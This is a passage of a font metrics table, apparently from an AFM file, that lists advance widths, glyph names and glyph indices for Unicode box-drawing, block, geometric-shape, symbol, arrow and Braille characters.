U 9498 ; WX 602 ; N uni251A ; G 2389
U 9499 ; WX 602 ; N uni251B ; G 2390
U 9500 ; WX 602 ; N SF080000 ; G 2391
U 9501 ; WX 602 ; N uni251D ; G 2392
U 9502 ; WX 602 ; N uni251E ; G 2393
U 9503 ; WX 602 ; N uni251F ; G 2394
U 9504 ; WX 602 ; N uni2520 ; G 2395
U 9505 ; WX 602 ; N uni2521 ; G 2396
U 9506 ; WX 602 ; N uni2522 ; G 2397
U 9507 ; WX 602 ; N uni2523 ; G 2398
U 9508 ; WX 602 ; N SF090000 ; G 2399
U 9509 ; WX 602 ; N uni2525 ; G 2400
U 9510 ; WX 602 ; N uni2526 ; G 2401
U 9511 ; WX 602 ; N uni2527 ; G 2402
U 9512 ; WX 602 ; N uni2528 ; G 2403
U 9513 ; WX 602 ; N uni2529 ; G 2404
U 9514 ; WX 602 ; N uni252A ; G 2405
U 9515 ; WX 602 ; N uni252B ; G 2406
U 9516 ; WX 602 ; N SF060000 ; G 2407
U 9517 ; WX 602 ; N uni252D ; G 2408
U 9518 ; WX 602 ; N uni252E ; G 2409
U 9519 ; WX 602 ; N uni252F ; G 2410
U 9520 ; WX 602 ; N uni2530 ; G 2411
U 9521 ; WX 602 ; N uni2531 ; G 2412
U 9522 ; WX 602 ; N uni2532 ; G 2413
U 9523 ; WX 602 ; N uni2533 ; G 2414
U 9524 ; WX 602 ; N SF070000 ; G 2415
U 9525 ; WX 602 ; N uni2535 ; G 2416
U 9526 ; WX 602 ; N uni2536 ; G 2417
U 9527 ; WX 602 ; N uni2537 ; G 2418
U 9528 ; WX 602 ; N uni2538 ; G 2419
U 9529 ; WX 602 ; N uni2539 ; G 2420
U 9530 ; WX 602 ; N uni253A ; G 2421
U 9531 ; WX 602 ; N uni253B ; G 2422
U 9532 ; WX 602 ; N SF050000 ; G 2423
U 9533 ; WX 602 ; N uni253D ; G 2424
U 9534 ; WX 602 ; N uni253E ; G 2425
U 9535 ; WX 602 ; N uni253F ; G 2426
U 9536 ; WX 602 ; N uni2540 ; G 2427
U 9537 ; WX 602 ; N uni2541 ; G 2428
U 9538 ; WX 602 ; N uni2542 ; G 2429
U 9539 ; WX 602 ; N uni2543 ; G 2430
U 9540 ; WX 602 ; N uni2544 ; G 2431
U 9541 ; WX 602 ; N uni2545 ; G 2432
U 9542 ; WX 602 ; N uni2546 ; G 2433
U 9543 ; WX 602 ; N uni2547 ; G 2434
U 9544 ; WX 602 ; N uni2548 ; G 2435
U 9545 ; WX 602 ; N uni2549 ; G 2436
U 9546 ; WX 602 ; N uni254A ; G 2437
U 9547 ; WX 602 ; N uni254B ; G 2438
U 9548 ; WX 602 ; N uni254C ; G 2439
U 9549 ; WX 602 ; N uni254D ; G 2440
U 9550 ; WX 602 ; N uni254E ; G 2441
U 9551 ; WX 602 ; N uni254F ; G 2442
U 9552 ; WX 602 ; N SF430000 ; G 2443
U 9553 ; WX 602 ; N SF240000 ; G 2444
U 9554 ; WX 602 ; N SF510000 ; G 2445
U 9555 ; WX 602 ; N SF520000 ; G 2446
U 9556 ; WX 602 ; N SF390000 ; G 2447
U 9557 ; WX 602 ; N SF220000 ; G 2448
U 9558 ; WX 602 ; N SF210000 ; G 2449
U 9559 ; WX 602 ; N SF250000 ; G 2450
U 9560 ; WX 602 ; N SF500000 ; G 2451
U 9561 ; WX 602 ; N SF490000 ; G 2452
U 9562 ; WX 602 ; N SF380000 ; G 2453
U 9563 ; WX 602 ; N SF280000 ; G 2454
U 9564 ; WX 602 ; N SF270000 ; G 2455
U 9565 ; WX 602 ; N SF260000 ; G 2456
U 9566 ; WX 602 ; N SF360000 ; G 2457
U 9567 ; WX 602 ; N SF370000 ; G 2458
U 9568 ; WX 602 ; N SF420000 ; G 2459
U 9569 ; WX 602 ; N SF190000 ; G 2460
U 9570 ; WX 602 ; N SF200000 ; G 2461
U 9571 ; WX 602 ; N SF230000 ; G 2462
U 9572 ; WX 602 ; N SF470000 ; G 2463
U 9573 ; WX 602 ; N SF480000 ; G 2464
U 9574 ; WX 602 ; N SF410000 ; G 2465
U 9575 ; WX 602 ; N SF450000 ; G 2466
U 9576 ; WX 602 ; N SF460000 ; G 2467
U 9577 ; WX 602 ; N SF400000 ; G 2468
U 9578 ; WX 602 ; N SF540000 ; G 2469
U 9579 ; WX 602 ; N SF530000 ; G 2470
U 9580 ; WX 602 ; N SF440000 ; G 2471
U 9581 ; WX 602 ; N uni256D ; G 2472
U 9582 ; WX 602 ; N uni256E ; G 2473
U 9583 ; WX 602 ; N uni256F ; G 2474
U 9584 ; WX 602 ; N uni2570 ; G 2475
U 9585 ; WX 602 ; N uni2571 ; G 2476
U 9586 ; WX 602 ; N uni2572 ; G 2477
U 9587 ; WX 602 ; N uni2573 ; G 2478
U 9588 ; WX 602 ; N uni2574 ; G 2479
U 9589 ; WX 602 ; N uni2575 ; G 2480
U 9590 ; WX 602 ; N uni2576 ; G 2481
U 9591 ; WX 602 ; N uni2577 ; G 2482
U 9592 ; WX 602 ; N uni2578 ; G 2483
U 9593 ; WX 602 ; N uni2579 ; G 2484
U 9594 ; WX 602 ; N uni257A ; G 2485
U 9595 ; WX 602 ; N uni257B ; G 2486
U 9596 ; WX 602 ; N uni257C ; G 2487
U 9597 ; WX 602 ; N uni257D ; G 2488
U 9598 ; WX 602 ; N uni257E ; G 2489
U 9599 ; WX 602 ; N uni257F ; G 2490
U 9600 ; WX 769 ; N upblock ; G 2491
U 9601 ; WX 769 ; N uni2581 ; G 2492
U 9602 ; WX 769 ; N uni2582 ; G 2493
U 9603 ; WX 769 ; N uni2583 ; G 2494
U 9604 ; WX 769 ; N dnblock ; G 2495
U 9605 ; WX 769 ; N uni2585 ; G 2496
U 9606 ; WX 769 ; N uni2586 ; G 2497
U 9607 ; WX 769 ; N uni2587 ; G 2498
U 9608 ; WX 769 ; N block ; G 2499
U 9609 ; WX 769 ; N uni2589 ; G 2500
U 9610 ; WX 769 ; N uni258A ; G 2501
U 9611 ; WX 769 ; N uni258B ; G 2502
U 9612 ; WX 769 ; N lfblock ; G 2503
U 9613 ; WX 769 ; N uni258D ; G 2504
U 9614 ; WX 769 ; N uni258E ; G 2505
U 9615 ; WX 769 ; N uni258F ; G 2506
U 9616 ; WX 769 ; N rtblock ; G 2507
U 9617 ; WX 769 ; N ltshade ; G 2508
U 9618 ; WX 769 ; N shade ; G 2509
U 9619 ; WX 769 ; N dkshade ; G 2510
U 9620 ; WX 769 ; N uni2594 ; G 2511
U 9621 ; WX 769 ; N uni2595 ; G 2512
U 9622 ; WX 769 ; N uni2596 ; G 2513
U 9623 ; WX 769 ; N uni2597 ; G 2514
U 9624 ; WX 769 ; N uni2598 ; G 2515
U 9625 ; WX 769 ; N uni2599 ; G 2516
U 9626 ; WX 769 ; N uni259A ; G 2517
U 9627 ; WX 769 ; N uni259B ; G 2518
U 9628 ; WX 769 ; N uni259C ; G 2519
U 9629 ; WX 769 ; N uni259D ; G 2520
U 9630 ; WX 769 ; N uni259E ; G 2521
U 9631 ; WX 769 ; N uni259F ; G 2522
U 9632 ; WX 945 ; N filledbox ; G 2523
U 9633 ; WX 945 ; N H22073 ; G 2524
U 9634 ; WX 945 ; N uni25A2 ; G 2525
U 9635 ; WX 945 ; N uni25A3 ; G 2526
U 9636 ; WX 945 ; N uni25A4 ; G 2527
U 9637 ; WX 945 ; N uni25A5 ; G 2528
U 9638 ; WX 945 ; N uni25A6 ; G 2529
U 9639 ; WX 945 ; N uni25A7 ; G 2530
U 9640 ; WX 945 ; N uni25A8 ; G 2531
U 9641 ; WX 945 ; N uni25A9 ; G 2532
U 9642 ; WX 678 ; N H18543 ; G 2533
U 9643 ; WX 678 ; N H18551 ; G 2534
U 9644 ; WX 945 ; N filledrect ; G 2535
U 9645 ; WX 945 ; N uni25AD ; G 2536
U 9646 ; WX 550 ; N uni25AE ; G 2537
U 9647 ; WX 550 ; N uni25AF ; G 2538
U 9648 ; WX 769 ; N uni25B0 ; G 2539
U 9649 ; WX 769 ; N uni25B1 ; G 2540
U 9650 ; WX 769 ; N triagup ; G 2541
U 9651 ; WX 769 ; N uni25B3 ; G 2542
U 9652 ; WX 502 ; N uni25B4 ; G 2543
U 9653 ; WX 502 ; N uni25B5 ; G 2544
U 9654 ; WX 769 ; N uni25B6 ; G 2545
U 9655 ; WX 769 ; N uni25B7 ; G 2546
U 9656 ; WX 502 ; N uni25B8 ; G 2547
U 9657 ; WX 502 ; N uni25B9 ; G 2548
U 9658 ; WX 769 ; N triagrt ; G 2549
U 9659 ; WX 769 ; N uni25BB ; G 2550
U 9660 ; WX 769 ; N triagdn ; G 2551
U 9661 ; WX 769 ; N uni25BD ; G 2552
U 9662 ; WX 502 ; N uni25BE ; G 2553
U 9663 ; WX 502 ; N uni25BF ; G 2554
U 9664 ; WX 769 ; N uni25C0 ; G 2555
U 9665 ; WX 769 ; N uni25C1 ; G 2556
U 9666 ; WX 502 ; N uni25C2 ; G 2557
U 9667 ; WX 502 ; N uni25C3 ; G 2558
U 9668 ; WX 769 ; N triaglf ; G 2559
U 9669 ; WX 769 ; N uni25C5 ; G 2560
U 9670 ; WX 769 ; N uni25C6 ; G 2561
U 9671 ; WX 769 ; N uni25C7 ; G 2562
U 9672 ; WX 769 ; N uni25C8 ; G 2563
U 9673 ; WX 873 ; N uni25C9 ; G 2564
U 9674 ; WX 494 ; N lozenge ; G 2565
U 9675 ; WX 873 ; N circle ; G 2566
U 9676 ; WX 873 ; N uni25CC ; G 2567
U 9677 ; WX 873 ; N uni25CD ; G 2568
U 9678 ; WX 873 ; N uni25CE ; G 2569
U 9679 ; WX 873 ; N H18533 ; G 2570
U 9680 ; WX 873 ; N uni25D0 ; G 2571
U 9681 ; WX 873 ; N uni25D1 ; G 2572
U 9682 ; WX 873 ; N uni25D2 ; G 2573
U 9683 ; WX 873 ; N uni25D3 ; G 2574
U 9684 ; WX 873 ; N uni25D4 ; G 2575
U 9685 ; WX 873 ; N uni25D5 ; G 2576
U 9686 ; WX 527 ; N uni25D6 ; G 2577
U 9687 ; WX 527 ; N uni25D7 ; G 2578
U 9688 ; WX 791 ; N invbullet ; G 2579
U 9689 ; WX 970 ; N invcircle ; G 2580
U 9690 ; WX 970 ; N uni25DA ; G 2581
U 9691 ; WX 970 ; N uni25DB ; G 2582
U 9692 ; WX 387 ; N uni25DC ; G 2583
U 9693 ; WX 387 ; N uni25DD ; G 2584
U 9694 ; WX 387 ; N uni25DE ; G 2585
U 9695 ; WX 387 ; N uni25DF ; G 2586
U 9696 ; WX 873 ; N uni25E0 ; G 2587
U 9697 ; WX 873 ; N uni25E1 ; G 2588
U 9698 ; WX 769 ; N uni25E2 ; G 2589
U 9699 ; WX 769 ; N uni25E3 ; G 2590
U 9700 ; WX 769 ; N uni25E4 ; G 2591
U 9701 ; WX 769 ; N uni25E5 ; G 2592
U 9702 ; WX 590 ; N openbullet ; G 2593
U 9703 ; WX 945 ; N uni25E7 ; G 2594
U 9704 ; WX 945 ; N uni25E8 ; G 2595
U 9705 ; WX 945 ; N uni25E9 ; G 2596
U 9706 ; WX 945 ; N uni25EA ; G 2597
U 9707 ; WX 945 ; N uni25EB ; G 2598
U 9708 ; WX 769 ; N uni25EC ; G 2599
U 9709 ; WX 769 ; N uni25ED ; G 2600
U 9710 ; WX 769 ; N uni25EE ; G 2601
U 9711 ; WX 1119 ; N uni25EF ; G 2602
U 9712 ; WX 945 ; N uni25F0 ; G 2603
U 9713 ; WX 945 ; N uni25F1 ; G 2604
U 9714 ; WX 945 ; N uni25F2 ; G 2605
U 9715 ; WX 945 ; N uni25F3 ; G 2606
U 9716 ; WX 873 ; N uni25F4 ; G 2607
U 9717 ; WX 873 ; N uni25F5 ; G 2608
U 9718 ; WX 873 ; N uni25F6 ; G 2609
U 9719 ; WX 873 ; N uni25F7 ; G 2610
U 9720 ; WX 769 ; N uni25F8 ; G 2611
U 9721 ; WX 769 ; N uni25F9 ; G 2612
U 9722 ; WX 769 ; N uni25FA ; G 2613
U 9723 ; WX 830 ; N uni25FB ; G 2614
U 9724 ; WX 830 ; N uni25FC ; G 2615
U 9725 ; WX 732 ; N uni25FD ; G 2616
U 9726 ; WX 732 ; N uni25FE ; G 2617
U 9727 ; WX 769 ; N uni25FF ; G 2618
U 9728 ; WX 896 ; N uni2600 ; G 2619
U 9784 ; WX 896 ; N uni2638 ; G 2620
U 9785 ; WX 896 ; N uni2639 ; G 2621
U 9786 ; WX 896 ; N smileface ; G 2622
U 9787 ; WX 896 ; N invsmileface ; G 2623
U 9788 ; WX 896 ; N sun ; G 2624
U 9791 ; WX 614 ; N uni263F ; G 2625
U 9792 ; WX 731 ; N female ; G 2626
U 9793 ; WX 731 ; N uni2641 ; G 2627
U 9794 ; WX 896 ; N male ; G 2628
U 9795 ; WX 896 ; N uni2643 ; G 2629
U 9796 ; WX 896 ; N uni2644 ; G 2630
U 9797 ; WX 896 ; N uni2645 ; G 2631
U 9798 ; WX 896 ; N uni2646 ; G 2632
U 9799 ; WX 896 ; N uni2647 ; G 2633
U 9824 ; WX 896 ; N spade ; G 2634
U 9825 ; WX 896 ; N uni2661 ; G 2635
U 9826 ; WX 896 ; N uni2662 ; G 2636
U 9827 ; WX 896 ; N club ; G 2637
U 9828 ; WX 896 ; N uni2664 ; G 2638
U 9829 ; WX 896 ; N heart ; G 2639
U 9830 ; WX 896 ; N diamond ; G 2640
U 9831 ; WX 896 ; N uni2667 ; G 2641
U 9833 ; WX 472 ; N uni2669 ; G 2642
U 9834 ; WX 638 ; N musicalnote ; G 2643
U 9835 ; WX 896 ; N musicalnotedbl ; G 2644
U 9836 ; WX 896 ; N uni266C ; G 2645
U 9837 ; WX 472 ; N uni266D ; G 2646
U 9838 ; WX 357 ; N uni266E ; G 2647
U 9839 ; WX 484 ; N uni266F ; G 2648
U 10145 ; WX 838 ; N uni27A1 ; G 2649
U 10181 ; WX 457 ; N uni27C5 ; G 2650
U 10182 ; WX 457 ; N uni27C6 ; G 2651
U 10208 ; WX 494 ; N uni27E0 ; G 2652
U 10216 ; WX 457 ; N uni27E8 ; G 2653
U 10217 ; WX 457 ; N uni27E9 ; G 2654
U 10224 ; WX 838 ; N uni27F0 ; G 2655
U 10225 ; WX 838 ; N uni27F1 ; G 2656
U 10226 ; WX 838 ; N uni27F2 ; G 2657
U 10227 ; WX 838 ; N uni27F3 ; G 2658
U 10228 ; WX 1033 ; N uni27F4 ; G 2659
U 10229 ; WX 1434 ; N uni27F5 ; G 2660
U 10230 ; WX 1434 ; N uni27F6 ; G 2661
U 10231 ; WX 1434 ; N uni27F7 ; G 2662
U 10232 ; WX 1434 ; N uni27F8 ; G 2663
U 10233 ; WX 1434 ; N uni27F9 ; G 2664
U 10234 ; WX 1434 ; N uni27FA ; G 2665
U 10235 ; WX 1434 ; N uni27FB ; G 2666
U 10236 ; WX 1434 ; N uni27FC ; G 2667
U 10237 ; WX 1434 ; N uni27FD ; G 2668
U 10238 ; WX 1434 ; N uni27FE ; G 2669
U 10239 ; WX 1434 ; N uni27FF ; G 2670
U 10240 ; WX 781 ; N uni2800 ; G 2671
U 10241 ; WX 781 ; N uni2801 ; G 2672
U 10242 ; WX 781 ; N uni2802 ; G 2673
U 10243 ; WX 781 ; N uni2803 ; G 2674
U 10244 ; WX 781 ; N uni2804 ; G 2675
U 10245 ; WX 781 ; N uni2805 ; G 2676
U 10246 ; WX 781 ; N uni2806 ; G 2677
U 10247 ; WX 781 ; N uni2807 ; G 2678
U 10248 ; WX 781 ; N uni2808 ; G 2679
U 10249 ; WX 781 ; N uni2809 ; G 2680
U 10250 ; WX 781 ; N uni280A ; G 2681
U 10251 ; WX 781 ; N uni280B ; G 2682
U 10252 ; WX 781 ; N uni280C ; G 2683
U 10253 ; WX 781 ; N uni280D ; G 2684
U 10254 ; WX 781 ; N uni280E ; G 2685
U 10255 ; WX 781 ; N uni280F ; G 2686
U 10256 ; WX 781 ; N uni2810 ; G 2687
U 10257 ; WX 781 ; N uni2811 ; G 2688
U 10258 ; WX 781 ; N uni2812 ; G 2689
U 10259 ; WX 781 ; N uni2813 ; G 2690
U 10260 ; WX 781 ; N uni2814 ; G 2691
U 10261 ; WX 781 ; N uni2815 ; G 2692
U 10262 ; WX 781 ; N uni2816 ; G 2693
U 10263 ; WX 781 ; N uni2817 ; G 2694
U 10264 ; WX 781 ; N uni2818 ; G 2695
U 10265 ; WX 781 ; N uni2819 ; G 2696
U 10266 ; WX 781 ; N uni281A ; G 2697
U 10267 ; WX 781 ; N uni281B ; G 2698
U 10268 ; WX 781 ; N uni281C ; G 2699
U 10269 ; WX 781 ; N uni281D ; G 2700
U 10270 ; WX 781 ; N uni281E ; G 2701
U 10271 ; WX 781 ; N uni281F ; G 2702
U 10272 ; WX 781 ; N uni2820 ; G 2703
U 10273 ; WX 781 ; N uni2821 ; G 2704
U 10274 ; WX 781 ; N uni2822 ; G 2705
U 10275 ; WX 781 ; N uni2823 ; G 2706
U 10276 ; WX 781 ; N uni2824 ; G 2707
U 10277 ; WX 781 ; N uni2825 ; G 2708
U 10278 ; WX 781 ; N uni2826 ; G 2709
U 10279 ; WX 781 ; N uni2827 ; G 2710
U 10280 ; WX 781 ; N uni2828 ; G 2711
U 10281 ; WX 781 ; N uni2829 ; G 2712
U 10282 ; WX 781 ; N uni282A ; G 2713
U 10283 ; WX 781 ; N uni282B ; G 2714
U 10284 ; WX 781 ; N uni282C ; G 2715
U 10285 ; WX 781 ; N uni282D ; G 2716
U 10286 ; WX 781 ; N uni282E ; G 2717
U 10287 ; WX 781 ; N uni282F ; G 2718
U 10288 ; WX 781 ; N uni2830 ; G 2719
U 10289 ; WX 781 ; N uni2831 ; G 2720
U 10290 ; WX 781 ; N uni2832 ; G 2721
U 10291 ; WX 781 ; N uni2833 ; G 2722
U 10292 ; WX 781 ; N uni2834 ; G 2723
U 10293 ; WX 781 ; N uni2835 ; G 2724
U 10294 ; WX 781 ; N uni2836 ; G 2725
U 10295 ; WX 781 ; N uni2837 ; G 2726
U 10296 ; WX 781 ; N uni2838 ; G 2727
U 10297 ; WX 781 ; N uni2839 ; G 2728
U 10298 ; WX 781 ; N uni283A ; G 2729
U 10299 ; WX 781 ; N uni283B ; G 2730
U 10300 ; WX 781 ; N uni283C ; G 2731
U 10301 ; WX 781 ; N uni283D ; G 2732
U 10302 ; WX 781 ; N uni283E ; G 2733
U 10303 ; WX 781 ; N uni283F ; G 2734
U 10304 ; WX 781 ; N uni2840 ; G 2735
U 10305 ; WX 781 ; N uni2841 ; G 2736
U 10306 ; WX 781 ; N uni2842 ; G 2737
U 10307 ; WX 781 ; N uni2843 ; G 2738
U 10308 ; WX 781 ; N uni2844 ; G 2739
U 10309 ; WX 781 ; N uni2845 ; G 2740
U 10310 ; WX 781 ; N uni2846 ; G 2741
U 10311 ; WX 781 ; N uni2847 ; G 2742
U 10312 ; WX 781 ; N uni2848 ; G 2743
U 10313 ; WX 781 ; N uni2849 ; G 2744
U 10314 ; WX 781 ; N uni284A ; G 2745
U 10315 ; WX 781 ; N uni284B ; G 2746
U 10316 ; WX 781 ; N uni284C ; G 2747
U 10317 ; WX 781 ; N uni284D ; G 2748
U 10318 ; WX 781 ; N uni284E ; G 2749
U 10319 ; WX 781 ; N uni284F ; G 2750
U 10320 ; WX 781 ; N uni2850 ; G 2751
U 10321 ; WX 781 ; N uni2851 ; G 2752
U 10322 ; WX 781 ; N uni2852 ; G 2753
U 10323 ; WX 781 ; N uni2853 ; G 2754
U 10324 ; WX 781 ; N uni2854 ; G 2755
U 10325 ; WX 781 ; N uni2855 ; G 2756
U 10326 ; WX 781 ; N uni2856 ; G 2757
U 10327 ; WX 781 ; N uni2857 ; G 2758
U 10328 ; WX 781 ; N uni2858 ; G 2759
U 10329 ; WX 781 ; N uni2859 ; G 2760
U 10330 ; WX 781 ; N uni285A ; G 2761
U 10331 ; WX 781 ; N uni285B ; G 2762
U 10332 ; WX 781 ; N uni285C ; G 2763
U 10333 ; WX 781 ; N uni285D ; G 2764
U 10334 ; WX 781 ; N uni285E ; G 2765
U 10335 ; WX 781 ; N uni285F ; G 2766
U 10336 ; WX 781 ; N uni2860 ; G 2767
U 10337 ; WX 781 ; N uni2861 ; G 2768
U 10338 ; WX 781 ; N uni2862 ; G 2769
U 10339 ; WX 781 ; N uni2863 ; G 2770
U 10340 ; WX 781 ; N uni2864 ; G 2771
U 10341 ; WX 781 ; N uni2865 ; G 2772
U 10342 ; WX 781 ; N uni2866 ; G 2773
U 10343 ; WX 781 ; N uni2867 ; G 2774
U 10344 ; WX 781 ; N uni2868 ; G 2775
U 10345 ; WX 781 ; N uni2869 ; G 2776
U 10346 ; WX 781 ; N uni286A ; G 2777
U 10347 ; WX 781 ; N uni286B ; G 2778
U 10348 ; WX 781 ; N uni286C ; G 2779
U 10349 ; WX 781 ; N uni286D ; G 2780
U 10350 ; WX 781 ; N uni286E ; G 2781
U 10351 ; WX 781 ; N uni286F ; G 2782
U 10352 ; WX 781 ; N uni2870 ; G 2783
U 10353 ; WX 781 ; N uni2871 ; G 2784
U 10354 ; WX 781 ; N uni2872 ; G 2785
U 10355 ; WX 781 ; N uni2873 ; G 2786
U 10356 ; WX 781 ; N uni2874 ; G 2787
U 10357 ; WX 781 ; N uni2875 ; G 2788
U 10358 ; WX 781 ; N uni2876 ; G 2789
U 10359 ; WX 781 ; N uni2877 ; G 2790
U 10360 ; WX 781 ; N uni2878 ; G 2791
U 10361 ; WX 781 ; N uni2879 ; G 2792
U 10362 ; WX 781 ; N uni287A ; G 2793
U 10363 ; WX 781 ; N uni287B ; G 2794
U 10364 ; WX 781 ; N uni287C ; G 2795
U 10365 ; WX 781 ; N uni287D ; G 2796
U 10366 ; WX 781 ; N uni287E ; G 2797
U 10367 ; WX 781 ; N uni287F ; G 2798
U 10368 ; WX 781 ; N uni2880 ; G 2799
U 10369 ; WX 781 ; N uni2881 ; G 2800
U 10370 ; WX 781 ; N uni2882 ; G 2801
U 10371 ; WX 781 ; N uni2883 ; G 2802
U 10372 ; WX 781 ; N uni2884 ; G 2803
U 10373 ; WX 781 ; N uni2885 ; G 2804
U 10374 ; WX 781 ; N uni2886 ; G 2805
U 10375 ; WX 781 ; N uni2887 ; G 2806
U 10376 ; WX 781 ; N uni2888 ; G 2807
U 10377 ; WX 781 ; N uni2889 ; G 2808
U 10378 ; WX 781 ; N uni288A ; G 2809
U 10379 ; WX 781 ; N uni288B ; G 2810
U 10380 ; WX 781 ; N uni288C ; G 2811
U 10381 ; WX 781 ; N uni288D ; G 2812
U 10382 ; WX 781 ; N uni288E ; G 2813
U 10383 ; WX 781 ; N uni288F ; G 2814
U 10384 ; WX 781 ; N uni2890 ; G 2815
U 10385 ; WX 781 ; N uni2891 ; G 2816
U 10386 ; WX 781 ; N uni2892 ; G 2817
U 10387 ; WX 781 ; N uni2893 ; G 2818
U 10388 ; WX 781 ; N uni2894 ; G 2819
U 10389 ; WX 781 ; N uni2895 ; G 2820
U 10390 ; WX 781 ; N uni2896 ; G 2821
U 10391 ; WX 781 ; N uni2897 ; G 2822
U 10392 ; WX 781 ; N uni2898 ; G 2823
U 10393 ; WX 781 ; N uni2899 ; G 2824
U 10394 ; WX 781 ; N uni289A ; G 2825
U 10395 ; WX 781 ; N uni289B ; G 2826
U 10396 ; WX 781 ; N uni289C ; G 2827
U 10397 ; WX 781 ; N uni289D ; G 2828
U 10398 ; WX 781 ; N uni289E ; G 2829
U 10399 ; WX 781 ; N uni289F ; G 2830
U 10400 ; WX 781 ; N uni28A0 ; G 2831
U 10401 ; WX 781 ; N uni28A1 ; G 2832
U 10402 ; WX 781 ; N uni28A2 ; G 2833
U 10403 ; WX 781 ; N uni28A3 ; G 2834
U 10404 ; WX 781 ; N uni28A4 ; G 2835
U 10405 ; WX 781 ; N uni28A5 ; G 2836
U 10406 ; WX 781 ; N uni28A6 ; G 2837
U 10407 ; WX 781 ; N uni28A7 ; G 2838
U 10408 ; WX 781 ; N uni28A8 ; G 2839
U 10409 ; WX 781 ; N uni28A9 ; G 2840
U 10410 ; WX 781 ; N uni28AA ; G 2841
U 10411 ; WX 781 ; N uni28AB ; G 2842
U 10412 ; WX 781 ; N uni28AC ; G 2843
U 10413 ; WX 781 ; N uni28AD ; G 2844
U 10414 ; WX 781 ; N uni28AE ; G 2845
U 10415 ; WX 781 ; N uni28AF ; G 2846
U 10416 ; WX 781 ; N uni28B0 ; G 2847
U 10417 ; WX 781 ; N uni28B1 ; G 2848
U 10418 ; WX 781 ; N uni28B2 ; G 2849
U 10419 ; WX 781 ; N uni28B3 ; G 2850
U 10420 ; WX 781 ; N uni28B4 ; G 2851
U 10421 ; WX 781 ; N uni28B5 ; G 2852
U 10422 ; WX 781 ; N uni28B6 ; G 2853
U 10423 ; WX 781 ; N uni28B7 ; G 2854
U 10424 ; WX 781 ; N uni28B8 ; G 2855
U 10425 ; WX 781 ; N uni28B9 ; G 2856
U 10426 ; WX 781 ; N uni28BA ; G 2857
U 10427 ; WX 781 ; N uni28BB ; G 2858
U 10428 ; WX 781 ; N uni28BC ; G 2859
U 10429 ; WX 781 ; N uni28BD ; G 2860
U 10430 ; WX 781 ; N uni28BE ; G 2861
U 10431 ; WX 781 ; N uni28BF ; G 2862
U 10432 ; WX 781 ; N uni28C0 ; G 2863
U 10433 ; WX 781 ; N uni28C1 ; G 2864
U 10434 ; WX 781 ; N uni28C2 ; G 2865
U 10435 ; WX 781 ; N uni28C3 ; G 2866
U 10436 ; WX 781 ; N uni28C4 ; G 2867
U 10437 ; WX 781 ; N uni28C5 ; G 2868
U 10438 ; WX 781 ; N uni28C6 ; G 2869
U 10439 ; WX 781 ; N uni28C7 ; G 2870
U 10440 ; WX 781 ; N uni28C8 ; G 2871
U 10441 ; WX 781 ; N uni28C9 ; G 2872
U 10442 ; WX 781 ; N uni28CA ; G 2873
U 10443 ; WX 781 ; N uni28CB ; G 2874
U 10444 ; WX 781 ; N uni28CC ; G 2875
U 10445 ; WX 781 ; N uni28CD ; G 2876
U 10446 ; WX 781 ; N uni28CE ; G 2877
U 10447 ; WX 781 ; N uni28CF ; G 2878
U 10448 ; WX 781 ; N uni28D0 ; G 2879
U 10449 ; WX 781 ; N uni28D1 ; G 2880
U 10450 ; WX 781 ; N uni28D2 ; G 2881
U 10451 ; WX 781 ; N uni28D3 ; G 2882
U 10452 ; WX 781 ; N uni28D4 ; G 2883
U 10453 ; WX 781 ; N uni28D5 ; G 2884
U 10454 ; WX 781 ; N uni28D6 ; G 2885
U 10455 ; WX 781 ; N uni28D7 ; G 2886
U 10456 ; WX 781 ; N uni28D8 ; G 2887
U 10457 ; WX 781 ; N uni28D9 ; G 2888
U 10458 ; WX 781 ; N uni28DA ; G 2889
U 10459 ; WX 781 ; N uni28DB ; G 2890
U 10460 ; WX 781 ; N uni28DC ; G 2891
U 10461 ; WX 781 ; N uni28DD ; G 2892
U 10462 ; WX 781 ; N uni28DE ; G 2893
U 10463 ; WX 781 ; N uni28DF ; G 2894
U 10464 ; WX 781 ; N uni28E0 ; G 2895
U 10465 ; WX 781 ; N uni28E1 ; G 2896
U 10466 ; WX 781 ; N uni28E2 ; G 2897
U 10467 ; WX 781 ; N uni28E3 ; G 2898
U 10468 ; WX 781 ; N uni28E4 ; G 2899
U 10469 ; WX 781 ; N uni28E5 ; G 2900
U 10470 ; WX 781 ; N uni28E6 ; G 2901
U 10471 ; WX 781 ; N uni28E7 ; G 2902
U 10472 ; WX 781 ; N uni28E8 ; G 2903
U 10473 ; WX 781 ; N uni28E9 ; G 2904
U 10474 ; WX 781 ; N uni28EA ; G 2905
U 10475 ; WX 781 ; N uni28EB ; G 2906
U 10476 ; WX 781 ; N uni28EC ; G 2907
U 10477 ; WX 781 ; N uni28ED ; G 2908
U 10478 ; WX 781 ; N uni28EE ; G 2909
U 10479 ; WX 781 ; N uni28EF ; G 2910
U 10480 ; WX 781 ; N uni28F0 ; G 2911
U 10481 ; WX 781 ; N uni28F1 ; G 2912
U 10482 ; WX 781 ; N uni28F2 ; G 2913
U 10483 ; WX 781 ; N uni28F3 ; G 2914
U 10484 ; WX 781 ; N uni28F4 ; G 2915
U 10485 ; WX 781 ; N uni28F5 ; G 2916
U 10486 ; WX 781 ; N uni28F6 ; G 2917
U 10487 ; WX 781 ; N uni28F7 ; G 2918
U 10488 ; WX 781 ; N uni28F8 ; G 2919
U 10489 ; WX 781 ; N uni28F9 ; G 2920
U 10490 ; WX 781 ; N uni28FA ; G 2921
U 10491 ; WX 781 ; N uni28FB ; G 2922
U 10492 ; WX 781 ; N uni28FC ; G 2923
U 10493 ; WX 781 ; N uni28FD ; G 2924
U 10494 ; WX 781 ; N uni28FE ; G 2925
U 10495 ; WX 781 ; N uni28FF ; G 2926
U 10496 ; WX 838 ; N uni2900 ; G 2927
U 10497 ; WX 838 ; N uni2901 ; G 2928
U 10498 ; WX 838 ; N uni2902 ; G 2929
U 10499 ; WX 838 ; N uni2903 ; G 2930
U 10500 ; WX 838 ; N uni2904 ; G 2931
U 10501 ; WX 838 ; N uni2905 ; G 2932
U 10502 ; WX 838 ; N uni2906 ; G 2933
U 10503 ; WX 838 ; N uni2907 ; G 2934
U 10504 ; WX 838 ; N uni2908 ; G 2935
U 10505 ; WX 838 ; N uni2909 ; G 2936
U 10506 ; WX 838 ; N uni290A ; G 2937
U 10507 ; WX 838 ; N uni290B ; G 2938
U 10508 ; WX 838 ; N uni290C ; G 2939
U 10509 ; WX 838 ; N uni290D ; G 2940
U 10510 ; WX 838 ; N uni290E ; G 2941
U 10511 ; WX 838 ; N uni290F ; G 2942
U 10512 ; WX 838 ; N uni2910 ; G 2943
U 10513 ; WX 838 ; N uni2911 ; G 2944
